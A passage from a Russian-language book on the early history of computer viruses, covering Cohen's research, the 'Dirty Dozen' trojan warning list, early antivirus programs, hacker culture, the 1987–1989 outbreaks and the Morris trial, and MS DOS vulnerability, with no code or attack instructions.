ций по  данной тематике.  Как пишет в своей книге Р.Бургер, Джером
Лоубел -- советник  по безопасности  компьютеров  фирмы  "Honeywell
Informations Systems",  возражал против публичного обсуждения дан-
ного вопроса.  В свою  защиту Ф.Коэн привел следующие соображения:
"Суть дела заключается все же в том, что если придумать что-либо в
этом роде  под силу  мне, то это может также сделать и кто-то дру-
гой", и  этот другой  может оказаться  "скверным парнем".  Забегая
вперед, следует отметить, что в 1986 г. Ф.Коэн защитил диссертацию
под названием "Компьютерные вирусы".
  В  1985 г.   на   страницах   журнала   KES   (ФРГ)   Р.Дирштейн
(R.Dierstein) опубликовал  комментированный перевод работы Ф.Коэна
[Dierstein85]. Этим же автором опубликовано еще несколько работ по
данной тематике,  в частности [Dierstein86] и "Computer viruses: a
secret threat" в трудах конференции Securicom (Париж, 1986).

          1.1.7. Первые попытки противодействия: список
         "грязная дюжина" и первые антивирусные программы

  В том  же 1985 г.  Том Нельф  (Tom Nelf) начал распространять по
различным BBS  список "Грязная дюжина -- список опасных загружаемых
программ" ("The  Dirty Dosen -- An Unloaded Program Alert List"), в
котором были  перечислены известные на тот момент программы-ванда-
лы. В  дальнейшем этот  список, включающий  большинство выявленных
троянских программ  и "взломанные"  или переименованные копии ком-
мерческого программного  обеспечения для MS DOS, стал широко изве-
стен  и  получил  сокращенное  название  "грязная  дюжина"  (dirty
dosen). В  настоящее время  список поддерживается Эриком Ньюхаузом
(Eric Newhouse)  из Лос-Анжелеса и  может быть получен практически
через любую  сеть. В  пояснениях к нему Эрик Ньюхауз отмечает, что
пользователи "т могут быть уверены только в одной свойстве их вин-
честеров -- в том, что рано или поздно они "полетят". Часто пользо-
ватель будет  винить в этом программу, хотя на самом деле проблема
связана с  электроникой или механикой. Помните, что слухи о троян-
ских программах  легче запустить, чем остановить". Последний совет
не мешало  бы помнить и некоторым авторам "околовирусных" публика-
ций (см., например, [Основcкий90]). Один из ранних вариантов этого
списка был опубликован в [Solomon88] (рис.1).
  С распространением троянских программ стали создаваться програм-
мы защиты,  которые можно  рассматривать и как первые антивирусные
программы. Зимой  1984 г. Анди Хопкинс (Andy Hopkins) написал про-
граммы CHK4BOMB  и BOMBSQAD. Первая из них позволяла проанализиро-
вать текст  загрузочного модуля и выявляла все текстовые сообщения
и "подозрительные"  участки кода  (команды прямой записи на диск и
др.). Благодаря  своей простоте  (фактически использовался  только
контекстный поиск)  и эффективности CHK4BOMB получила значительную
популярность. Программа BOMBSQAD.COM перехватывает операции записи
и форматирования,  выполняемые через BIOS. При выявлении запрещен-
ной операции  можно разрешить  ее выполнение.  В начале 1985 г. Ги
Вонг (Gee  Wong) написал программу DPROTECT -- резидентную програм-
му, перехватывающую  попытки записи  на дискеты  и винчестер.  Она
блокировала все операции (запись, форматирование), выполняемые че-
рез BIOS.  В случае выявления такой операции программа требует ре-
старта системы. Несколько позднее появилась программа FLUSHOT, на-
писанная Росс  М. Гринберг.  Более поздняя версия этой программы --
FluShot Plus  (версия 1.7), распространяемая как SHAREWARE с реги-
страционной ценой 10 долларов, используется и в настоящее время.
  Из европейских программ отметим резидентный сторож VIRBLK, кото-
рый был написан в Вене Михелем Фитцем, и программу ANTI4US2, напи-
санную Э.Лайтингом.  Название последней связано с тем, что число 4
по-немецки звучит  как "фир", что позволяет прочитать название как
"антифирус2".

       Троянские программы для ПЭВМ, совместимых с IBM PC

123JOKE      - Якобы утилита для Lotus 1-2-3.
               Разрушает каталоги.
ALTCTRL.ARC  - Портит загрузочный сектор.
ARC513.EXE   - Троянская версия архиватора. Отличается по
               длине (архиватор ~ 32К). Портит бутсектор.
ARC514.COM   - То же самое. Архиватор всегда .EXE.
BACKALLY.COM - Через несколько месяцев портит FAT.
BACKTALK     - Случайное затирание секторов на винчестере.
BXD.ARC      - Предупреждает, потом затирает FAT.
CDIR.COM     - Выдает себя за утилиту, высвечивающую
               каталоги в цвете -- на самом деле портит FAT.
CHUNKER.EXE  - Портит FAT, возможно -- ошибка.
COMPRESS.ARC - Якобы "Shareware from Borland", портит FAT.
DANCERS.BAS  - Под красивые картинки портит FAT.
DEFENDER.ARC - Пишет в CMOS и форматирует диск.
DISKACHE.EXE - Вероятно ошибка, но может испортить FAT.
DISKSCAN.EXE - Якобы ищет плохие сектора,на деле -- создает.
DMASTER      -  -"-
DOSKNOWS.EXE -  -"-
DPROTECT     -  -"-
EGABTR       - Якобы улучшает работу EGA, затирает диски.
ELEVATOR.ARC - Затирает файлы, может форматировать диски.
EMMCACHE     - Портит файлы, затирает загрузочный сектор.
FILER.EXE    - Затирает диски.
FUTURE.BAS   - Портит FAT, затирает корневой каталог.
MAP            ???
NOTROJ.COM   - Претендует быть антитроянской программой,
               на деле - наоборот.
TIRED        - Портит FAT.
TSRMAP       - Дает карту программ TSR, затирает бутсектор.
PACKDIR      - Якобы оптимизирует винчестер, портит FAT.
PCLOCK       - Портит FAT.
PCW271xx.ARC - Троянская версия PC-Write v2.71, размером
               98274 байта (настоящая - 98644). Портит FAT.
PKX35B35.EXE - Портит FAT. Настоящая называется PKX35A35.
RCKVIDEO     - Под картинки рок-звезды портит FAT.
SCRNSAVE.COM - Затирает винчестер.
SECRET.BAS   - Форматирует диски.
SEX-SHOW.ARC - Затирает все файлы в каталоге.
SIDEWAYS.COM - Настоящая программа обеспечивает фоновую
               печать, эта - портит бутсектор.
SUG.ARC      - Якобы снимает защиту Softguard, портит FAT.
TOPDOS       - Форматирует винчестер.
VDIR.COM     - Портит файлы на диске.
VISIWORD.ARC - Портит диск.
WARDIAL1.ARC - Портит FAT.

     Рис.1. Один из ранних вариантов списка "грязная дюжина".

              1.2. Второй этап -- компьютеры в осаде

                                "Ох! Знобит от рассказа дотошного"
                                                        В.Высоцкий

  События 1985-86 гг.  по времени  совпали с быстрым ростом произ-
водства и резким снижением цен на ПЭВМ серии IBM PC (появились мо-
дели по  цене менее  1000 долларов), которые и ознаменовали начало
нового этапа развития компьютерных вирусов (отметим, что в 1989 г.
американцы имели возможность купить за ту же цену модель с процес-
сором 80386 --  см., например,  Byte, 1989,  v.14, щ  6, p.65,  а в
1989 г. по крайней мере в одном американском университете -- Drexel
University, штат Филадельфия, к поступающим предъявлялось требова-
ние иметь  собственный компьютер).  Поэтому второй этап в развитии
вирусов связан  с достижением  "критической  массы"  произведенных
ПЭВМ, совместимых с IBM PC -- самого массового компьютера в истории
развития вычислительной  техники. Эта  "масса", по-видимому,  была
достигнута в 1987 г., когда одновременно в нескольких странах про-
изошли вспышки заражения компьютеров вирусами. Эти вспышки и озна-
меновали начало  второго этапа  развития  рассматриваемого  класса
программ, на  котором они  уже стали представлять собой угрозу для
всех пользователей  ПЭВМ. В отличие от первого этапа, когда разра-
ботки вирусоподобных  программ носили исследовательский характер и
авторы выполняли  эксперименты, заручившись  согласием пользовате-
лей, стараясь  внести какой-то вклад в системное программирование,
атмосфера второго  этапа носит характер противостояния пользовате-
лей группе безответственных или уголовных элементов.

                          1.2.1. Хакеры

                                       "Можно противостоять всему,
                                        за исключением искушения"
                                                           О.Уайлд

  Массовое распространение  клонов IBM PC привело к резкому увели-
чению количества  людей, активно занимающихся программированием на
компьютере, а  следовательно, и  прослойки компьютерных "фанатов".
Если раньше этот тип людей встречался в основном в университетских
городках и   больших вычислительных центрах, то с распространением
клонов IBM PC ситуация существенно изменилась. Обладателями мощных
и в то же время дешевых компьютеров стали школьники, пенсионеры, а
также другие  лица, располагавшие, помимо желания попробовать свои
силы в программировании, еще и значительным количеством свободного
времени.
  Как и  в других областях человеческой деятельности, спектр отно-
шения людей  к программированию и вычислительным машинам очень ши-
рок: от ненависти, через полное безразличие до патологической при-
вязанности или  зависимости, которую можно квалифицировать как ма-
нию. Всякий  работавший в  вычислительном центре  на больших ЭВМ и
видевший, как  к концу  второй смены некоторые программисты наспех
вносят плохо  продуманные изменения  в свои  программы  и  умоляют
электронщиков дать  еще минутку,  чтобы посмотреть, что получится,
узнает сцену, описанную Ф.М.Достоевским в романе "Игрок":
   "В одиннадцатом часу у игорных столов остаются настоящие, отча-
янные игроки, для которых на водах существует только одна рулетка,
которые и приехали для нее одной, которые плохо замечают, что вок-
руг них  происходит, и  ничем не интересуются весь сезон, а только
играют с утра до ночи и готовы были бы играть, пожалуй, и всю ночь
до рассвета, если б можно было. И всегда они с досадой расходятся,
когда в двенадцать часов закрывают рулетку. И когда старший крупер
перед закрытием  рулетки около  двенадцати часов, возглашает: "Les
trois derniers  coups, messieurs  !" (Три  последних игры  (букв.:
удара), господа --  прим. перев.),  то они готовы иногда проставить
на этих  трех последних  ударах все, что у них есть в кармане, -- и
действительно тут-то наиболее и проигрываются" [Полн. собр. соч. в
30-ти томах. -- Л.: Наука, т.5, 1973, c.292].
  Психологи отмечают, что у страстных игроков имеются определенные
психологические черты,  роднящие их  с одержимыми  программистами.
Для страстного игрока игра -- это все ("весь мир -- игра"). Даже вы-
игрыш менее  важен, чем  сама игра. В свою очередь, для программи-
ста-фаната работа  за дисплеем -- это и есть настоящая жизнь, а все
остальное -- скучная  "обязаловка". Одержимый  программист с трудом
переносит разлуку  с машиной. Постоянная работа с машиной наклады-
вает определенный отпечаток на язык и мышление таких людей. Наблю-
дается перенос  некоторых программистских терминов типа "зациклил-
ся", "завис",  "вычислить" (например  фраза "я  тебя вычислил" ис-
пользуется со значением "я понял, разгадал что-то") в повседневную
жизнь. Создается  впечатление, что  другие люди воспринимаются ими
как программы,  а окружающая среда -- как некая "супероперационка",
для вселенского "гиперкомпьютера".
  Вместо сочетания "одержимый программист" как в разговорной речи,
так и  в литературе  часто используется  термин "хакер"  (от англ.
Hack -- рубить,  кромсать) и  уже создан определенный образ хакера.
Это очень  способный молодой человек, работающий за дисплеем по 12
-- 16 ч. подряд, до полного изнеможения, а если представляется воз-
можность, то  и ночи напролет. Питается урывками. Внешний вид сви-
детельствует о  том, что  он не обращает внимания на внешний мир и
не слишком интересуется мнением окружающих: джинсы, мятая рубашка,
нечесанные волосы. Блестяще знает все подробности операционной си-
стемы, языка ассемблера и особенности периферийного оборудования.
  Основная  продукция --  маленькие  недокументированные  системные
программы, ради  которых, а также ценя в нем консультанта по "деб-
рям" операционной системы и внешних устройств, ему и разрешают ра-
ботать на машине, когда он хочет и сколько он хочет. Обычный метод
их создания --  "кромсание" чужих  программ, что  и объясняет смысл
термина хакер.  В "просвещенном" варианте -- это дизассемблирование
подходящей программы, модификация ассемблерного текста c удалением
следов принадлежности программы другому автору, даже если доработ-
ка в  сущности была  совсем пустяковая, вставка собственной клички
(обычно достаточно  экзотической, например  SuperHunter), а  затем
ассемблирование. Документация,  естественно, не  нужна,  поскольку
сам хакер  знает, что послужило прототипом, да и вообще руководст-
вуется принципом  "умный догадается, а дураку не нужно". В "диком"
варианте кромсается  непосредственно загрузочный модуль в отладчи-
ке. Здесь  отсутствует не только документация, но и исходный текст
"изделия".
  Ну и конечно, у каждого хакера есть сверхзадача, своего рода го-
лубая мечта (удачные небольшие системные программки, благодаря ко-
торым он пользуется уважением, им самим рассматриваются как подел-
ки): новая  операционная система, алгоритмический язык, программа,
выигрывающая у  человека в  какую-нибудь сложную, интеллектуальную
игру, или инструментальная система "супер" -- облегчающая все, все,
все (самая любимая задача). Конечно, статус хакера не является по-
жизненным. Это своего рода "детская болезнь", и из среды "нормаль-
ных" хакеров вышел ряд известных разработчиков системного програм-
много обеспечения.
  Для части  хакеров,  обычно  называемых  кракерами,  в  качестве
сверхзадачи выступает проникновение в какую-нибудь систему, снятие
защиты программного  продукта от  копирования или что-то аналогич-
ное. Именно  эта часть хакеров становится причиной "головной боли"
разработчиков коммерческого  программного обеспечения, снабженного
средствами защиты  от незаконного копирования, а также пользовате-
лей баз данных с конфиденциальной информацией.
  Другая часть  кракеров, иногда называемых "информационными путе-
шественниками", специализируется на проникновении в удаленные ком-
пьютеры, подключенные  к некоторой  сети. Так,  студенты одного из
университетов США  составили и сумели ввести в ЭВМ программу, ими-
тирующую работу  с удаленными пользователями. К моменту разоблаче-
ния пользователи сумели получить более 100 таких паролей. Деятель-
ность этой  разновидности кракеров  в большинстве  западных  стран
рассматривается или  граничит с уголовной. Неслучайно ряд кракеров
на Западе  были осуждены на сроки от 6 месяцев до 10 лет тюремного
заключения.
  И наконец, самая худшая порода хакеров -- это создатели троянских
программ и  компьютерных вирусов.  Впрочем, их  уже нельзя назвать
хакерами, поскольку "неформальный кодекс" хакера запрещает исполь-
зование своих  знаний операционной  систем и  оборудования во вред
пользователям. Это  своего рода  "паршивые овцы",  которые бросают
тень на  хакеров в  целом. Обычно  их называют  техно-крысами. По-
скольку жертвами  вирусов обычно  становятся не специалисты, а те,
кто использует компьютер как инструмент своей профессиональной де-
ятельности или  как хобби, психология разработчиков вирусов сродни
психологии негодяев,  отбирающих деньги у школьников младших клас-
сов, которые мать дала им на обед.

             1.2.2. Первые случаи массового заражения

                                      "До чего же нам иногда тесно
                                       в разумных пределах"
                                               Евгений Сагаловский

  Как уже  отмечалось, в  1987 г. в разных местах, независимо друг
от друга были зарегистрированы три случая массового заражения кло-
нов IBM PC компьютерными вирусами.
  Первым Вирусом-87  был так называемый Пакистанский вирус, разра-
ботанный братьями  Амджатом и  Базитом Алви (Amdjat и Basit Faroog
Alvi) в  1986 г. Он  был обнаружен  летом 1987 г. По непроверенным
(и, вероятно,  завышенным) данным,  приведенным  Маккафи  (McAfee)
[McAfee89b], он  заразил только  в США более 18 тысяч компьютеров.
Этот бутовый  вирус создан в основном Амджадом -- 26-летним выпуск-
ником отделения  физики Пенджабского университета, который, по его
заявлению, пытался  наказать американцев, покупавших дешевые неза-
конные копии программ в Пакистане. Амджат утверждает, что по паки-
станским законам  свободное копирование не является преступлением,
и хотя  он не  одобряет такое  положение вещей, вынужден с ним ми-
риться и  не может наказывать других. Поэтому он не продавал зара-
женные вирусом  незаконные копии  пакистанским покупателям. Другое
дело -- американцы, у которых существуют законы, запрещающие пират-
ство. Их,  по его  мнению, стоило  проучить.  К  середине  1987 г.
братья признали,  что уже достаточно проучили пиратов и прекратили
распространение вируса. Однако вирус уже сумел распространиться по
США, а  оттуда попал  в другие страны, в том числе и в СССР. Кроме
того, начали появляться штаммы с измененными текстовыми сообщения-
ми и свойствами.
  Вторым Вирусом-87  стал Лехайский  вирус, появившийся  в  ноябре
1987 г. в  одноименном университете США. В течение нескольких дней
этот вирус уничтожил содержимое нескольких сот дискет из библиоте-
ки вычислительного  центра университета  и личных дискет студентов
[Wyk89]. По  данным Маккафи,  опубликованным в  журнале Datamation
[McAfee89b],   по состоянию  на февраль  1989 г. только в США этим
вирусом было  заражено порядка  четырех тысяч компьютеров. Следует
отметить, что учитывая склонность Маккафи искажать данные в выгод-
ную для  него сторону к приводимым им цифрам нужно относиться кри-
тически, уменьшая их примерно в пять раз.
  Перед самым Новым годом, 30 декабря 1987 г., был обнаружен вирус
в Иерусалимском  Университете (Израиль).  Хотя существенного вреда
этот вирус  не принес, он быстро распространился по всему миру (по
данным Маккафи, более 3 тысяч зараженных компьютеров только в США)
и, по-видимому,  является первым вирусом, распространение которого
приобрело характер пандемии [Radai89].
  В том  же 1987 г.  в издательстве  Data-Becker вышла  монография
Р.Бургера "Компьютерные вирусы". Она выдержала несколько переизда-
ний, переведена  на английский язык, а в 1989 г. -- на русский язык
[Burger88]. Автор неосторожно включил в книгу ряд исходных текстов
демонстрационных программ  вирусов на  разных языках и листинг так
называемого венского вируса. Такой, чрезмерно расширенный, несмот-
ря на  изменившуюся ситуацию,  уровень "гласности"  дает основания
рассматривать роль данной книги как весьма противоречивую.
  Свой вклад в распространение вирусов внесли и некоторые журналы.
Так, журнал  "C't" в  том же  году опубликовал код вируса "уголек"
для ПЭВМ Atary ST и фаг к этому вирусу [Krabel87]. Вскоре этот ви-
рус проник в компьютеры издательства Data-Becker, а затем и на ди-
стрибутивные дискеты,  распространяемые этой фирмой. К счастью, он
был быстро обнаружен и уничтожен.
  В 1988 г.  проблема защиты программного обеспечения от заражения
компьютерными вирусами  в странах  США и Западной Европы приобрела
характер приоритетной. Это прежде всего связано с тем, что в усло-
виях значительной зависимости различных учреждений от компьютерных
систем, проникновение вирусов представляет потенциальную опасность
и может привести к серьезным последствиям. Например, летом 1988 г.
компьютерный вирус инфицировал три компьютера в Мичиганском госпи-
тале, которые  обрабатывали информацию о пациентах. Он был обнару-
жен в  процессе анализа причин неправильного функционирования сис-
темы, заключавшейся  в том, что на дисплей неверно вызывались рас-
ширенные диагностические  сведения. По данным администрации госпи-
таля  вирус   перемешал  фамилии  пациентов  в  базе  данных  ПЭВМ
Macintosh II.  Как показало  расследование, вирус  был занесен при
ремонте винчестера одного из компьютеров. К счастью, никому из па-
циентов не был поставлен неправильный диагноз или назначено непра-
вильное лечение в результате перемешивания фамилий пациентов в ба-
зе данных.  Однако, по мнению специалистов, это был вопрос времени
и вполне  мог стоить  кому-то жизни. Данный случай является вторым
случаем вторжения  в медицинские  компьютеры (первый  был связан с
проникновением кракеров,  которые просматривали базу данных, но не
нанесли никакого  ущерба) и первым случаем, когда настоящие данные
пациентов и диагностирования манипулировались вирусом [Zajac89c].
  Из компьютерных Вирусов-88 отметим вирус падающих букв и "италь-
янский попрыгунчик",  распространение которых также приняло харак-
тер эпидемии.  Особое внимание общественности привлек так называе-
мый вирус  Морриса: 2.11.88 г. Роберт Моррис-младший, аспирант фа-
культета информатики  Корнельского Университета  инфицировал с по-
мощью написанного  им вируса  большое количество  компьютеров  (по
ориентировочным оценкам порядка 6000), подключенных к американской
национальной сети Internet (не путать c распространенной локальной
сетью Ethernet)  [Highland89b]. Хотя  никакой потери или изменения
данных не произошло, многие тысячи часов рабочего времени были по-
теряны пользователями Internet.
  Это событие вызвало значительную реакцию американской и мировой,
прессы, включая  советскую. Так ведущие американские газеты, вклю-
чая "Чикаго Трибьюн", "Нью-Йорк Таймс" и "Бостон Геральд", опубли-
ковали репортажи  с места  события. Ими широко освещалась динамика
распространения вируса  и разработка методов борьбы с ним, а также
затрагивались общие проблемы обеспечения безопасности компьютерных
систем. Позднее  в аналитических  статьях по этому поводу обсужда-
лись нерешенные проблемы, относящиеся к вопросам безопасности ком-
пьютерных систем,  и предлагались  законодательные инициативы, на-
правленные на предотвращение подобных случаев в дальнейшем. В час-
тности, не без влияния этой серии публикаций в палате представите-
лей были  внесены два проекта законов, предусматривающих уголовное
наказание за создание и распространение компьютерных вирусов.
  Помимо информации  типа "как  это было"  и "то  ли еще будет", в
американской прессе широко обсуждался вопрос о том, как квалифици-
ровать поступок  Морриса: является ли Моррис героем-хакером, кото-
рый без нанесения серьезного ущерба указал на слабые места в наци-
ональной компьютерной  сети, или он является преступником, который
должен быть сурово наказан. При этом характер обсуждения и поляри-
зация мнений  в некоторой  степени напоминали  дискуссии по поводу
известного всем  нам случая  с посадкой  Руста на Красную площадь.
Вскоре Моррис был отчислен из Корнельского университета.
  Министерство юстиции США довольно долго изучало вопрос о возмож-
ности привлечения  Морриса к суду на основе действующего законода-
тельства, и  только 18 января 1990 г. в городе Сиракьюс (штат Нью-
Йорк) начался  судебный процесс  по делу Морриса. Нанесенный ущерб
был оценен   в 150 тыс. долларов. Процесс над Моррисом стал возмо-
жен в  результате принятия в 1986 г. федерального закона об ответ-
ственности за  преступления, связанные  с компьютерами  (1986 U.S.
Computer Fraud  and Abuse  Act). Моррису  грозил штраф  в 250 тыс.
долларов и  тюремное заключение  сроком до  5 лет. Адвокат Морриса
утверждал, что  тот якобы создал вирус для проведения эксперимента
по проверке  защиты компьютера. При этом он допустил ошибку, кото-
рая и привела к нежелательным результатам. Моррис, по словам адво-
ката, не  стремился нанести какой-либо ущерб компьютерным системам
США. Интересно  отметить, что в интервью репортеру одной из амери-
канских газет  мать Морриса  упомянула тот  факт, что  роман  "The
Shockware Rider"  Джона Бруннера  был одной из наиболее зачитанных
книг в  комнате юного Морриса. 4 мая 1990 г. суд присяжных признал
Морриса виновным.  Он был приговорен к условному заключению сроком
на два  года, 400  часам "общественных работ" (американский аналог
отечественных 15  суток) и штрафу размером 10 тыс. долларов. Осуж-
дение Р.Морриса-младшего  показывает что американское общество уже
осознает опасность и предпринимает меры по борьбе с ней.
  В 1989    г.  панику в  США и западноевропейских странах вызвали
вирусы DATACRIME,  которые запрограммированы так, что начиная с 12
октября они разрушают файловую систему, а до этой даты просто раз-
множаются. Эта  серия компьютерных вирусов, состоящая, как полага-
ют, из трех программ ("Датакрайм 1, 2, 3") начала распространяться
в Нидерландах,  США и  Японии приблизительно  в начале 1989 г. и к
сентябрю поразила, по некоторым оценкам (которым, впрочем, не сто-
ит особенно  доверять), около  100 тысяч ПЭВМ только в Нидерландах
(что составляет  около 10% от их общего количества в стране). Даже
фирма IBM  отреагировала на  эту угрозу,  выпустив  свой  детектор
VIRSCAN, позволяющий  искать характерные для того или иного вируса
строки (сигнатуры) в файловой системе. Набор сигнатур может допол-
няться и  изменяться пользователем.  В нашей  стране в 1989 и 1990
гг. случаев  заражения данным вирусом не отмечалось; потенциальную
опасность представляет 12.10.91 г.
  В начале  августа 1989 г.  в Амстердаме  состоялся международный
съезд хакеров,  в ходе  которого были  продемонстрированы "дыры" в
существующих системах  обеспечения безопасности  и контроля от не-
санкционированного доступа.  В качестве  доказательства своих спо-
собностей представители  одной из  групп кракеров, подключившись к
ЭВМ местного  банка, получили 270 тысяч франков. Вернув на следую-
щий день  эту сумму  наличными, кракеры  продемонстрировали уязви-
мость системы защиты банковских компьютеров.
  Еще  одной   нашумевшей  историей   была  так   называемая  AIDS
Information Trojan -- троянская программа, распространявшаяся в де-
кабре 1989 г.  в составе пакета с базой данных о заболевании синд-
ромом приобретенного  иммунодефицита (СПИД).  Как программа, так и
база данных  были записаны  на дискете,  которая была разослана 20
тысячам заказчиков, включая ряд медицинских и общественных органи-
заций США, Франции, Великобритании, ФРГ, Дании, Норвегии, Швеции и
многих других  стран. Затраты  на рассылку  составили порядка  200
тыс. долларов.  Все адресаты получили по почте посылку с упаковкой
данного продукта,  на которой указывалось его назначение, а на об-
ратной стороне  крайне мелким шрифтом были набраны условия распро-
странения. Сопроводительное письмо извещало, что на дискете содер-
жатся новые  сведения по  проблемам СПИДа, но в письме условия ис-
пользования дискет  не указывались. После записи на винчестер, они
действительно   начали выдавать  информацию по обещанной тематике.
Однако затем вся информация на винчестере была перекодирована и на
экранах появилось  требование перечислить  сумму в 378 долларов на
счет незарегистрированной  фирмы в Панаме. В этом случае пользова-
телю якобы будет выслана программа восстановления перекодированной
информации. Среди  пострадавших были  как индивидуальные владельцы
компьютеров, так  и лаборатории, научные центры, больницы. В неко-
торых случаях  заблокированным оказался  итог работы целых научных
коллективов. Джозеф  Попп,  предполагаемый  распространитель  этой
троянской программы,  был арестован  в феврале 1990 г. в американ-
ском штате  Огайо. Если эксперты подтвердят его психическую полно-
ценность, ему  не миновать тюремного заключения за проведение этой
операции по "вирусному рэкету".

                      1.2.3. Вирусы и MS DOS

  Интересно отметить,  что еще  в версии  3.0 операционной системы
CP/M можно  было защитить файлы и диски от записи или чтения с по-
мощью паролей.  Поэтому вызывает  сожаление выжидательная  позиция
фирмы Микрософт,  которая могла бы при выпуске очередной версии MS
DOS легко  закрыть хотя бы самые "зияющие" дыры в MS DOS (отсутст-
вие проверки  контрольной суммы файла перед передачей ему управле-
ния, возможность сброса атрибута READ ONLY без подтверждения поль-
зователя, люки --  различные "нелегальные" способы получения адреса
прерывания 13  и др.).  Возможно, здесь нельзя исключить и опреде-
ленный политический  расчет на  то, что сложившаяся ситуация будет
способствовать уменьшению количества случаев незаконного копирова-
ния коммерческого  программного обеспечения,  которое  существенно
уменьшает доходы фирмы, а также переходу пользователей к более со-
вершенной и  снабженной средствами  регламентации доступа к файлам
операционной системе OS/2. Последняя из-за повышенных требований к
оборудованию (рекомендуется  наличие четырех  или  более  мегабайт
оперативной памяти)  пока не  пользуется ощутимым успехом. Следует
отметить, что мнение о "полезности" вирусов для разработчиков сис-
темного программного  обеспечения было  высказано официально Эндрю
Золтовским -- директором  фирмы NOVELL  UK Ltd,  который в интервью
корреспонденту советско-польского  журнала Компьютер заявил: "Сей-
час стало  ясно, что  великолепным средством борьбы с нелегальными
копиями сталит  компьютерные вирусы, распространяемые чаще всего с
бесплатным (читай "ворованным") программным обеспечением" [Компью-
тер, 1990,  щ 2,  c.5]. Такая позиция не только не этична, но и по
существу опасна  для самой  фирмы, "исповедующей" такую философию.
Ведь помимо  разработчиков коммерческого  программного обеспечения
существуют разработчики  бесплатно распространяемого  (FREEWARE) и
субсидируемого пользователями  (SHAREWARE) программного  обеспече-
ния, которые  страдают из-за  падения интереса  к их  продуктам  в
связи с  угрозой заражения.  Да и  для разработчиков коммерческого
программного обеспечения  опасно рассматривать вирусы как средство
увеличения доходов от продажи своего программного обеспечения: от-
сюда только  шаг к борьбе с конкурентами с помощью вирусов, ориен-
тированных на  конкретный программный продукт, скажем, версию 2.15
сетевой операционной системы Advanced Netware. Ведь наверняка есть
люди, считающие, что положение фирмы NOWELL на рынке не соответст-
вует действительному  качеству ее  продуктов и  препятствует более
прогрессивным решениям "занять свое место под солнцем".
  Так или  иначе, но  операционная система MS DOS показала себя не
только "user  friendly", но и "virus friendly". И такое положение,
по-видимому, фирму   устраивает: в версии 4.0 не предпринято ника-
ких специальных мер в указанном направлении. Впрочем, многие поль-
зователи считают,  что эту  версию имеет смысл использовать лишь в
сочетании с  системой MS  Windows 3.0,   и не спешат переходить на
нее с версии 3.3.

             1.2.4. Появление более вирусоустойчивых
                        альтернатив MS DOS

  Следует отметить, что в настоящее время появилось несколько аль-
тернативных, "полностью совместимых" с MS DOS операционных систем,
обеспечивающих ряд  дополнительных возможностей  защиты информации
от несанкционированного  доступа, включая заражение программ виру-
сами или различного рода попытки искажения или уничтожения файлов.
Из них следует отметить DR DOS фирмы Digital Research, которая бу-
дучи "более  совместимой с  MS DOS, чем сама MS DOS" (т.е. сущест-
венно реже  зависающей, что  особенно важно при работе на отечест-
венных ПЭВМ  типа ИСКРА  1030), обеспечивает лучшие утилиты и воз-
можность защиты файлов и каталогов. Другой интересной альтернатив-
ной разработкой является Hi DOS. Любая из этих систем более "виру-
соустойчива", чем MS DOS, и, кроме того, перекрывает некоторые не-
документированные люки,  через которые  можно "незаконно" получить
адреса важнейших  прерываний и  другую жизненно важную для вирусов
информацию. При  этом, чем изощреннее и опаснее написан вирус, тем
меньше шансов  у него  остаться работоспособным  на альтернативной
операционной системе.  Ведь для  того, чтобы  сохранить приемлемые
размеры, вирусу  необходимо быть жестко ориентированным на особен-
ности своей  среды, а  общий закон  приспособления гласит, что чем
больше тот  или иной  вид приспособлен  к обитанию  в той или иной
среде, тем меньше он способен перенести ее изменение.

                1.2.5. OS/2 и компьютерные вирусы

  Конечно, вирусы,  рассчитанные на MS DOS, будут неработоспособны
для OS/2.  В этом смысле новая операционная система предпочтитель-
нее. Однако  представляется весьма вероятным быстрое появление но-
вых штаммов,  адаптированных к OS/2. Сдерживающим фактором, несом-
ненно, послужит  наличие средств  регламентации доступа  к файлам,
однако неясно,  насколько трудно  эту защиту обойти. В то же время
более сложная  и более  мощная операционная система не обязательно
является и  более вирусобезопасной. Простота MS DOS приводит к то-
му, что  все ее  закоулки изучены,  и разработчику вируса придется
проявить незаурядную изобретательность, чтобы придумать что-то но-
вое. В  OS/2 таких закоулков неизмеримо больше, подробные сведения
о ее  внутренней структуре  отсутствуют, да  и сама она занимает в
памяти намного  больше места.  Это создает значительное "жизненное
пространство" для  хорошо замаскированных  вирусов. В  этом  плане
увеличение сложности следует рассматривать как недостаток.

                  1.2.6. Роль компьютерных сетей

                                   "Опасно не наличие компьютеров,
                                    а их нехватка"

                                                          А.Азимов

  Распространение дешевых компьютерных модемов привело к тому, что
телефонные сети  стали использоваться  тысячами, если не десятками
тысяч как платных, так и бесплатных банков данных. Последние часто
называют BBS.  Одни BBS  организуются группами  пользователей  как
центры обмена сообщениями и программным обеспечением. Другие орга-
низуются частными  лицами просто как хобби. Последнее время наблю-
дается увеличение  количества  BBS,  финансируемых  разработчиками
программного и  аппаратного обеспечения.  Они играют  важную  роль
консультационных центров для соответствующих групп пользователей.
  Чтобы организовать BBS нужен персональный компьютер, модем, хотя
бы одна  телефонная линия, немного специального программного обес-
печения и  один человек --  оператор BBS,  часто  называемый  SYSOP
(SYStem OPerator -- оператор системы). Поскольку на Западе эти тре-
бования легко  удовлетворяются, BBS  стали своего  рода "парковыми
скамейками" эпохи  НТР. Конечно,  качество банка данных и программ
данной BBS зависит, в основном, от уровня квалификации и преданно-
сти делу  его SYSOPа.  Отдельные BBS  обычно служат  узлами  сети.
Крупнейшей в  мире любительской  сетью ПЭВМ  является FidoNet, не-
сколько узлов которой работает в СССР (в Москве и Таллинне).
  За рубежом ранние системы предупреждения о новых вирусах основы-
вались на  широко разветвленной  сети BBS  (многие университетские
компьютерные центры организовали свои BBS, которые зарекомендовали
себя хорошим  источником информации  о местных  вирусах и их штам-
мах).
  Кроме бесплатных  BBS на Западе распространены и коммерческие их
аналоги -- большие  онлайновые информационные  системы,  такие  как
CompuServe. Подключение  к ним  платное, зато объем и качество ин-
формации выше. Например, CompuServe предлагает мини-BBS по группам
интересов (так  называемые SIG --  special interest  groups). Среди
них есть и группа по борьбе с вирусами.
  В некоторых  западных  популярных изданиях высказывалась мысль о
том, что вирусы якобы особо опасны при наличии компьютерных сетей.
Эта идея  была некритически подхвачена и рядом отечественных авто-
ров, запугивающих  читателей этой  опасностью. Однако дело обстоит
как раз  наоборот: компьютерные  сети создают беспрецедентную воз-
можность обмениваться  информацией, а  существует древняя и мудрая
поговорка "Кто  предупрежден, тот  вооружен". Поэтому  при наличии
сетей опыт  борьбы конкретного  пользователя с появившимся вирусом
становится достоянием  всех заинтересованных пользователей на сле-
